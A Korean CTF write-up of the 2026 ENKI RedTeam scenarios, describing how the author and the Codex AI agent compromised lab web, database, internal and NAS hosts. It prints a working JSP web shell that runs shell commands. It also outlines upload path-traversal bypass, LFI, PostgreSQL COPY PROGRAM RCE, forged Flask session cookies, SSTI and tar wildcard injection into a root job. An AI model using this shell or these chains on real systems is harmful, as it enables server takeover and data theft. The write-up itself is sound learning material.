ENKI RedTeam CTF Write Up입니다. 다만 AI를 곁들인
2026 ENKI RedTeam CTF
이번 엔키 CTF는 Jeopardy 방식의 웹(8문제)과 RedTeam 시나리오 3개(내부 FLAG는 여러개)가 출제되었습니다.
저는 이번에 시나리오 쪽을 중점적으로 봤고 49위를 했습니다.
목표는 30등안에 드는 거였는데 쉬운 문제를 휴먼 이슈로 인해 10시간 삽질하는 참사를 겪으면서 시간이 더 있었으면 하는 아쉬움이 많았습니다ㅠㅠ
시나리오 문제의 경우 외부에 오픈된 서버를 장악하고 거기에 연결된 DB, NAS등의 서버를 추가로 장악하여 ROOT 권한 획득 후 FLAG를 얻을 수 있는 문제들 이였고, 이런 문제를 처음 경험해서 정말 신선한 문제였습니다.
특히 Codex와 함께 ROOT 권한을 공략했을때 AI 아니였음 안됬다고 느끼면서 다시 한번 제 자신을 돌아보게 되었습니다.
write up은 시나리오1 과 시나리오3만 작성하겠습니다.
codex와 함께 풀어서 증적을 남겼어야 됬는데;; 귀차니즘으로 인해 증적을 못찍었습니다….
시나리오1
시나리오1 문제는 1-1, 1-5 FLAG만 얻었습니다.
시나리오1-1
공개된 홈페이지는 금융 플랫폼 형태 서비스의 JSP 애플리케이션 이였습니다.
아래와 같은 기능이 존재했고, 문의사항의 경우 로그인 페이지로 리다이렉션 되었지만 문의 작성 API 경우는 인증 없이 동작 했습니다.
- / -> 메인페이지
- /notice/index.jsp -> 공지사항
- /event/index.jsp -> 이벤트 공지사항
- /inquiry/index.jsp -> 문의사항 (로그인 필요)
- /wts/index.jsp -> 주식 사고팔기 (로그인 필요)
- /banking.jsp -> 계좌확인/타행송금 (로그인 필요)
문의 관련 파일 업로드 기능이 .jpg,.jpeg,.png,.pdf,.zip 확장자 검증을 하는 것처럼 보이지만 서버측에서는 확장자 검증을 제대로 하지 않았고.
기본적인 상대경로 필터링이 있어 ..././/.../.// -> ../../을 통해 우회가 가능했습니다.
추가로 /api/download?=filename= 엔드포인트에서 LFI가 가능했기 때문에 위의 경로를 통해 웹루트 경로(톰캣) /opt/tomcat/webapps/ROOT를 식별할 수 있었습니다.
웹루트에 JSP(웹쉘)을 올려 서버를 장악할 수 있었고, 홈디렉토리에서 3-1 FLAG를 얻을 수 있었습니다.
[ 요약 ]
- 파일 업로드 시 UUID 확인
- LFI (웹루트 경로 식별)
- 업로드 API (미인증) + 상대경로 우회(…/.//) + JSP 업로드(웹쉘)
사용한 웹쉘
1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page import="java.io.*" contentType="text/plain; charset=UTF-8" %>
<%
String c = request.getParameter("c");
if (c == null) {
out.println("NO_CMD");
return;
}
Process p = new ProcessBuilder("/bin/sh", "-c", c).redirectErrorStream(true).start();
try (BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()))) {
String line;
while ((line = r.readLine()) != null) out.println(line);
}
%>
시나리오1-5
문제에서 특정 계좌(33BD2191D17F43B4)로 1회에 100,000,000,000원 이상 타행송금 후 /flag 방문하라는 지문이 있었습니다.
웹쉘을 통해 내부 소스코드에서 DB 접속정보(application.yml)를 확인했고, SQL 연결을 통해 아래 계정 정보를 획득했습니다.
SHA256 기반으로 해시되었는데 codex가 알아서 크랙을 해줬습니다.
hong123 -> bd94dcda26fccb4e68d6a31f9b5aac0b571ae266d822620e901ef7ebe3a11d4f= pass1234kim456 -> e8fa823a76f3aaf7068fd2068ba81d1fcb3b680bd854276ddc42d6139754240b= pass5678lee789 -> 9122bac9877a33812b6dfb843b05ae512a0e05e48a007c1d4d1bcd1b03a96968= pass9012testuser -> 937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244= test1234
해당 계정으로 로그인 하여 계좌를 조회했는데 5000만원, 3000만원, 1000만원 수준이고 이는 목표에 비해 한참 모자랐습니다. Integer Overflow인가 하고 그쪽을 시도했는데, 잘 안됬습니다.
이 다음은 코덱스가 알아서 뚝딱하더니 RAW TCP로 tradeServerHost:tradeServerPort에 직접 전문을 보내 WTS에서 Balance를 음수 SELL을 통해 1000억으로 만들고 FLAG를 얻었습니다.
[ 요약 ]
- DB정보 Leak
- 해시 크랙(SHA-256)
- WTS Trading 분석 및 음수 SELL
시나리오3
시나리오3은 -> 1,2,3,4,5,6,7 이순서가 아니라서 풀이 순서대로 작성합니다.
시나리오3-3
시나리오3-3 풀이
시나리오3 의 공개된 페이지는 markdown, url, html 문서를 -> PDF로 변환하는 기능이 존재했습니다.
PDF 뷰, 다운로드, 워터마킹 할 수 있는 부가 기능이 존재했습니다. 
마크다운이랑 URL에서 file:// 스킴을 통해 LFI가 되어 내부 php 코드를 leak 할 수 있었습니다.
pdf를 뷰로 보니 php 코드 일부만 보여서 추가 의심 지점을 못찾고, /proc은 또 안되서
md to rce로 방향을 바꿔 여기서 10시간을 삽질을 하는 참사가 발생했습니다. ㅠㅠ 포기 직전에 pdf 다운받아서 봤는데 php코드가 전부 보였습니다.
워터마크 구현하는 쪽에 숨겨진 파라미터(wmfn)를 찾았고 Write가 가능해서 웹루트(/var/www/html)에 php 웹쉘을 올려 flag를 얻었습니다.
[ 요약 ]
- LFI
- Source Code 분석
- 웹쉘
시나리오3-1
DB 연결 계정을 확보 했는데 postgres를 사용하고 있었습니다.
postgres RCE 해당 글을 참조하면 됩니다!
Copy Program 명령을 통해 쉽게 DB 서버 장악해서 FLAG를 얻을 수 있었습니다.
[ 요약 ]
- DB정보 Leak
- postgres RCE
시나리오3-2
postgres DB 에서 ROOT 권한은 내가 아는 setUID, sudo, polkit 이런유형인줄 알았는데 되는게 하나도 없었다.
그래서 Codex 한테 던졌다.
[ 코덱스 풀이 ]
- /opt/agent/agent가 root로 실행되고 internal-svc:19090/19190와 통신하는 것 확인
- agent 바이너리와 설정 파일 복구 및 분석
- 19090의 PKT_UPDATE_FILE_GET (0x20)가 무인증 arbitrary file read임을 확인
- 이 취약점으로 internal service 코드와 login.properties 읽기
- Flask secret internal-svc-dev-secret과 내부 admin 계정 구조 확인
- 그 secret으로 admin 세션 쿠키 생성
- 19190 /api/v3/state로 DB agent id db-7958c55df6-7s9bw 확인
- 19190 /api/v3/script/queue에 root agent용 명령 큐잉
- root agent가 /root/proof-*를 /tmp/db_root_proof로 기록
- postgres 권한으로 /tmp/db_root_proof 회수
[ 요약 ]
- 내부 바이너리 분석
시나리오3-6
- 웹앱/소스에서 MinIO 자격증명 확인
- MinIO root 계정으로 콘솔/API 접근 가능
- flag 버킷 열람 가능
시나리오3-4
시나리오3-4,3-5는 IP 주소를 공개를 안해줬는데, 해당 풀이는 DB서버에서 연결된 서비스 였다.
- Service name:
internal-svc - Internal IP:
172.28.111.4 - Service user:
svc - Home:
/home/svc
내부 서비스에 Jinja FLASK에서 발생하는 SSTI를 통해 user FLAG를 획득할 수 있었습니다.
[ 요약 ]
- SSTI
시나리오3-5
얘도 Codex가 풀었다.
- svc 권한으로 SSTI를 사용
- /var/cache/svc/staging/metrics 경로에 root 소유이면서 쓰기 가능한 워크플로우가 존재함을 확인
- 다음 파일들을 배치(Plant)함: payload.sh, –checkpoint=1, –checkpoint-action=exec=sh<payload.sh
- 이후 root 권한으로 실행되는 cachectl의 다음 주기를 대기
- 첫 번째 페이로드는 /root 디렉터리 목록을 out 파일에 기록하여 정확한 proof 파일명을 획득
- 확인된 파일명은 proof-9q1owj.txt
- payload.sh를 2단계 명령으로 교체하여 해당 proof 파일을 out으로 복사
- 다음 주기를 기다린 후 out 파일을 읽어 결과를 확인
시나리오3-7
얘도 Codex가 풀었다.
체인:
internal-svcadmin 세션으로 NAS agent에 root 스크립트 큐잉- NAS 컨테이너에서
mc와bash존재 여부를 blind 실행exit_code로 확인 - NAS root 명령으로
mc alias set local http://127.0.0.1:9000 ... /root/proof-*를flag/root.txt로 업로드- 웹 호스트 foothold에서 내부 MinIO endpoint
http://nas:9000로aws s3 cp s3://flag/root.txt -
Conclusion
핵더박스를 풀면 SSH가 있으니, 정말 편하게 장악한 Host의 ROOT까지 하고 끝인데,
이번 CTF는 호스트 장악하고, 연결된 다른 호스트의 여러 취약점들을 이용하는 부분이 재밌게 풀었다.
AI 없었으면 사실상 ROOT 권한은 못땄을꺼 같고, 내부 호스트 찾는것도 매우 어려웠을꺼 같다.
롸업을 쓰면서 Codex랑 함께 할때는 증적도 어떤 파일에서 어떤걸 찾았는지 정리를 잘 시켰더라면 롸업쓰는데 더 편할꺼 같다는 생각도 든다. (롸업도 AI가 쓰게한다면 더 편할듯ㅋㅋ)
CTF 풀면서 느낀 것은 해킹을 자세하게 알지 못해도 AI를 이용하게 되면, 어느 포인트, 어떻게 공략해서 내부로 들어올수 있는지 시간 단축이 정말 많이 빠르다는걸 느꼈다.
금융권의 경우 망분리 정책으로 경계보안은 기깔나게 잘되어있지만 서버가 장악 당했을때, 경계보안에 비해 서버 to 서버로의 파급력있는 공격들에 대한 보안은 잘 안되어 있다. 물론 해당 구역에 대해서 보안을 안하는건 아니지만 안뚫리겠지, 경계보안에서 다막으면 그만이라는 안일한 생각이 아직 큰거 같다.
계속 정진해서 경계보안 뿐만아니라, 모든 영역에 대해 보안이 정말 중요하다는걸 증명하고 싶다.
